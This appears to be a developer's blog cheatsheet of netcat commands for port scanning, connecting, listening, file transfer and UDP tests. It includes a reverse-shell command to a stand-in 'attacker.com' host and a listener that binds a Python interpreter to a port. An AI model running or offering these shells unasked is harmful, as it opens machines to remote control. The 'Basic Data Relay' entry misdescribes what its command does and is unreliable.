Cheatsheet & Examples: nc

HongHong
4 min read

Port Scanning

Example Usage:
nc -zv example.com 80 443

What it does:
Scans specified ports on a target host to determine if they are open. The -z option suppresses connection attempts, and -v provides verbose output.

Command-line Arguments Explained:

  • -z: Enables zero-I/O mode, used for port scanning without establishing a connection.
  • -v: Enables verbose mode to display detailed information about the scan.
  • example.com: Target hostname or IP address.
  • 80 443: Port numbers to scan.

Connecting to a Remote Server

Example Usage:
nc example.com 80

What it does:
Establishes a TCP connection to a remote server on a specified port, allowing data to be sent or received.

Command-line Arguments Explained:

  • example.com: Target hostname or IP address.
  • 80: Port number to connect to.

Listening for Incoming Connections

Example Usage:
nc -l 8080

What it does:
Listens for incoming TCP connections on a specified port, acting as a simple server.

Command-line Arguments Explained:

  • -l: Enables listening mode (server).
  • 8080: Port number to listen on.

File Transfer Between Machines

Example Usage:
Receiver: nc -l 9999 > received_file.txt
Sender: nc 192.168.1.1 9999 < send_file.txt

What it does:
Transfers files between two machines over a network by using Netcat as a data conduit.

Command-line Arguments Explained:

  • -l: Enables listening mode on the receiver.
  • 9999: Port number for the transfer.
  • > received_file.txt: Redirects received data to a file.
  • < send_file.txt: Sends the contents of a file to the remote host.

Sending Data to a Server

Example Usage:
echo "GET / HTTP/1.1" | nc example.com 80

What it does:
Sends raw data (e.g., HTTP requests) to a server via a TCP connection.

Command-line Arguments Explained:

  • example.com: Target hostname or IP address.
  • 80: Port number to send data to.

UDP Communication

Example Usage:
nc -u 192.168.1.1 53

What it does:
Establishes a UDP connection to a remote host, useful for testing DNS or other UDP-based services.

Command-line Arguments Explained:

  • -u: Specifies UDP protocol instead of TCP.
  • 192.168.1.1: Target hostname or IP address.
  • 53: Port number (e.g., DNS).

Reverse Shell (Security Use Case)

Example Usage:
nc -e /bin/bash attacker.com 4444

What it does:
Connects to a remote host (e.g., an attacker’s machine) and provides a shell, often used for reverse connections in penetration testing.

Command-line Arguments Explained:

  • -e: Executes the specified command (e.g., /bin/bash) after connecting.
  • attacker.com: Target hostname or IP address.
  • 4444: Port number to connect to.

Timeouts and Connection Management

Example Usage:
nc -w 5 example.com 22

What it does:
Sets a timeout for connection attempts or data transfers. If no response is received within the timeout, the command exits.

Command-line Arguments Explained:

  • -w 5: Sets a 5-second timeout for the connection.
  • example.com: Target host.
  • 22: Port number (e.g., SSH).

Using Source IP/Port

Example Usage:
nc -s 192.168.1.100 -p 5000 example.com 80

What it does:
Specifies a source IP address and port for outgoing connections, useful for testing network interfaces or bypassing firewall rules.

Command-line Arguments Explained:

  • -s 192.168.1.100: Sets the source IP address.
  • -p 5000: Sets the source port.
  • example.com: Target host.
  • 80: Target port.

Creating a Simple Chat Server

Example Usage:
Receiver: nc -l 1234
Sender: nc 192.168.1.1 1234

What it does:
Establishes a basic two-way communication channel between two machines, useful for ad-hoc chat or testing.

Command-line Arguments Explained:

  • -l: Enables listening mode on the receiver.
  • 1234: Port number for the chat channel.
  • 192.168.1.1: Receiver’s IP address (sender’s target).

Redirecting Output to a File

Example Usage:
nc 192.168.1.1 80 > output.html

What it does:
Saves the data received from a remote server (e.g., an HTTP response) to a local file.

Command-line Arguments Explained:

  • 192.168.1.1: Target host.
  • 80: Port number.
  • > output.html: Redirects the received data to a file.

Listening with Keep-Alive (-k)

Example Usage:
nc -l -k 9999

What it does:
Listens for incoming connections and stays active after each connection is closed, allowing continuous use.

Command-line Arguments Explained:

  • -l: Enables listening mode.
  • -k: Keeps the listener running after a connection ends.
  • 9999: Port number.

Testing HTTP Servers

Example Usage:
nc example.com 80
Then type GET / HTTP/1.1 and press Enter twice.

What it does:
Manually interacts with an HTTP server to test responses or troubleshoot issues.

Command-line Arguments Explained:

  • example.com: Target hostname.
  • 80: Port for HTTP.

Basic Data Relay

Example Usage:
nc -u -z 192.168.1.1 53

What it does:
Relays data between hosts using UDP, useful for simple network testing or packet forwarding.

Command-line Arguments Explained:

  • -u: Uses UDP protocol.
  • -z: Scans the port without sending data.
  • 192.168.1.1: Target host.
  • 53: Port for DNS or UDP service.

Running Commands on Connection

Example Usage:
nc -l -p 8080 -e /usr/bin/python3

What it does:
Starts a listener on a port and executes a command (e.g., a Python script) when a connection is made.

Command-line Arguments Explained:

  • -l: Enables listening mode.
  • -p 8080: Specifies the port to listen on.
  • -e /usr/bin/python3: Executes the given command upon connection.
0
Subscribe to my newsletter

Read articles from Hong directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Hong
Hong

I am a developer from Malaysia. I work with PHP most of the time, recently I fell in love with Go. When I am not working, I will be ballroom dancing :-)